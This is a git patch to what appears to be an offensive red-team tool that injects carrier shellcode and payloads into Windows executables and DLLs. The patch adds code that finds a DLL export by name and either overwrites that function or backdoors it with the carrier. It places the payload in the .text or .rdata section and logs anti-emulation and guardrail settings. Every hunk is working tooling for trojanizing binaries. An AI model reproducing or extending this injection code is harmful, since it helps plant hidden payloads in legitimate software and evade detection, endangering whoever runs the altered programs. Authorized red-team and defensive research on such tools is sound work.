From f40161b206a7ab6929bbb7dc5902b49fcd25b5d0 Mon Sep 17 00:00:00 2001
From: Dobin Rutishauser <dobin.rutishauser@gmail.com>
Date: Sun, 22 Jun 2025 21:57:37 +0200
Subject: [PATCH] feature: correct dll function handling

---
 app/templates/project.html |  4 +++
 pe/superpe.py              | 10 +++++++
 phases/injector.py         | 56 +++++++++++++++++++-------------------
 phases/masmshc.py          |  2 +-
 phases/templater.py        |  5 ++++
 5 files changed, 48 insertions(+), 29 deletions(-)

diff --git a/app/templates/project.html b/app/templates/project.html
index 665d07c..304efb9 100644
--- a/app/templates/project.html
+++ b/app/templates/project.html
@@ -98,6 +98,10 @@
                 <!-- Input: DLL function -->
                 {% if exports != [] %}
                 <select class="form-select" name="dllfunc" aria-label="DLLFUNC" onchange="this.form.submit()">
+                    <option value=""
+                        {% if "" == settings.dllfunc %} selected {% endif %}
+                    >DllMain</option>
+
                     {% for export in exports %}
                     <option value="{{export['name']}}"
                         {% if export["name"] == settings.dllfunc %} selected {% endif %}
diff --git a/pe/superpe.py b/pe/superpe.py
index 937f5d4..d84e516 100644
--- a/pe/superpe.py
+++ b/pe/superpe.py
@@ -189,6 +189,16 @@ class SuperPe():
                 return exp.address
         raise Exception("Cant find entry point for export {}".format(exportName))
 
+
+    def get_export_vaddr_by_name(self, exportName: str) -> Optional[int]:
+        d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
+        self.pe.parse_data_directories(directories=d)
+        if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
+            return None
+        for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:
+            if e.name.decode() == exportName:
+                return e.address
+        return None
     
 
     def get_exports(self) -> List[str]:
diff --git a/phases/injector.py b/phases/injector.py
index 0c34cc0..338de4d 100644
--- a/phases/injector.py
+++ b/phases/injector.py
@@ -59,7 +59,7 @@ class Injector():
     # │         │         │       │  │        │         │       │
     # └─────────┴─────────┴───────┘  └────────┴─────────┴───────┘
 
-    # Backdoor
+    # Backdoor: .rdata random
     def get_random_data_payload_rva(self) -> int:
         complete_size = len(self.payload.payload_data)
         largest_gap = self.rdata_manager.find_holes(complete_size)
@@ -78,7 +78,7 @@ class Injector():
         return payload_rva
     
 
-    # Backdoor
+    # Backdoor: .text random
     def get_random_code_carrier_rva(self) -> int:
         complete_size = len(self.carrier_shc)
         largest_gap = self.code_manager.find_holes(complete_size)
@@ -91,7 +91,7 @@ class Injector():
         return carrier_rva
         
 
-    # Backdoor
+    # Backdoor: .text random
     def get_random_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
         complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
         largest_gap = self.code_manager.find_holes(complete_size)
@@ -111,27 +111,10 @@ class Injector():
             payload_rva = carrier_rva + len(self.carrier_shc) + 4096
 
         return payload_rva, carrier_rva
-    
-
-    # Overwrite
-    def get_func_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
-        func_addr = self.superpe.get_entrypoint()
-
-        carrier_rva = func_addr
-        payload_rva = carrier_rva + len(self.carrier_shc)
-
-        return payload_rva, carrier_rva
-    
-
-    # Overwrite
-    def get_func_code_carrier_rva(self) -> int:
-        func_addr = self.superpe.get_entrypoint()
-        carrier_rva = func_addr
-        return carrier_rva
         
 
     ## Inject
-    
+
     def inject_exe(self):
         exe_in = self.settings.get_inject_exe_in()
         exe_out = self.settings.get_inject_exe_out()
@@ -149,16 +132,34 @@ class Injector():
         if self.settings.carrier_invoke_style == CarrierInvokeStyle.OverwriteFunc:
             if self.settings.payload_location == PayloadLocation.CODE:
                 # Carrier and Payload both in .text section in a function
-                self.payload_rva, self.carrier_rva = self.get_func_carrier_and_payload_rva_in_code()
+                func_addr: int|None = None
+                if self.settings.dllfunc != "" and self.injectable.superpe.is_dll():
+                    func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc)
+                else:
+                    func_addr = self.superpe.get_entrypoint()
+                self.carrier_rva = func_addr
+
+                # payload is behind the carrier shellcode
+                self.payload_rva = self.carrier_rva + len(self.carrier_shc)
+                    
             elif self.settings.payload_location == PayloadLocation.DATA:
                 # Carrier in a function, Payload random in data section
-                self.carrier_rva = self.get_func_code_carrier_rva() ### BUGBUGBUG
+                func_addr: int|None = None
+                if self.settings.dllfunc != "" and self.injectable.superpe.is_dll():
+                    func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc)
+                else:
+                    func_addr = self.superpe.get_entrypoint()
+
+                self.carrier_rva = func_addr
+
+                # payload is somewhere in .rdata section
                 self.payload_rva = self.get_random_data_payload_rva()
 
             # copy carrier shellcode into the code section (at func)
             carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
             self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
-            logger.info("    Inject: Write Carrier to 0x{:X} (0x{:X})".format(
+            logger.info("    Inject: OverWrite {} with Carrierat 0x{:X} (0x{:X})".format(
+                self.settings.dllfunc if self.settings.dllfunc else "DllMain",
                 self.carrier_rva, carrier_offset))
 
         elif self.settings.carrier_invoke_style == CarrierInvokeStyle.BackdoorFunc:
@@ -181,12 +182,11 @@ class Injector():
             if self.settings.dllfunc == "":
                 backdoor_func_addr = self.superpe.get_entrypoint()
             else:
-                pass
-            logger.info("    Backdoor function {} (0x{:X})".format(
-                self.settings.dllfunc, backdoor_func_addr))
+                backdoor_func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc)
+            logger.info("    Backdoor function: {} (0x{:X})".format(
+                self.settings.dllfunc if self.settings.dllfunc else "DllMain", backdoor_func_addr))
             self.function_backdoorer.backdoor_function(
                 backdoor_func_addr, self.carrier_rva, carrier_shc_len)
-        
 
         # Make the injected carrier work, integrate it into the PE
         self.injectable_write_iat_references()
diff --git a/phases/masmshc.py b/phases/masmshc.py
index 6c9aeed..49f3d39 100644
--- a/phases/masmshc.py
+++ b/phases/masmshc.py
@@ -124,7 +124,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
                     #    ofile.write("\tjmp\tmain\n")
                     elif params.append_rsp_stub:
                         append_align_rsp(ofile)
-                        logger.debug("[INFO] Entry Point: AlignRSP")
+                        #logger.debug("[INFO] Entry Point: AlignRSP")
 
                 if seg_name == "_BSS":
                     raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
diff --git a/phases/templater.py b/phases/templater.py
index d0db508..2da3301 100644
--- a/phases/templater.py
+++ b/phases/templater.py
@@ -52,6 +52,11 @@ def create_c_from_template(settings: Settings, payload_len: int):
     logger.info("    Use AntiEmulation: {}".format(
         settings.plugin_antiemulation)
     )
+    if settings.dllfunc:
+        logger.info("    DLL Function: {}".format(
+            settings.dllfunc)
+        )
+
     if settings.plugin_guardrail != "none":
         logger.info("    Carrier Guardrail: {}  (key: {}  value: {})".format(
             settings.plugin_guardrail,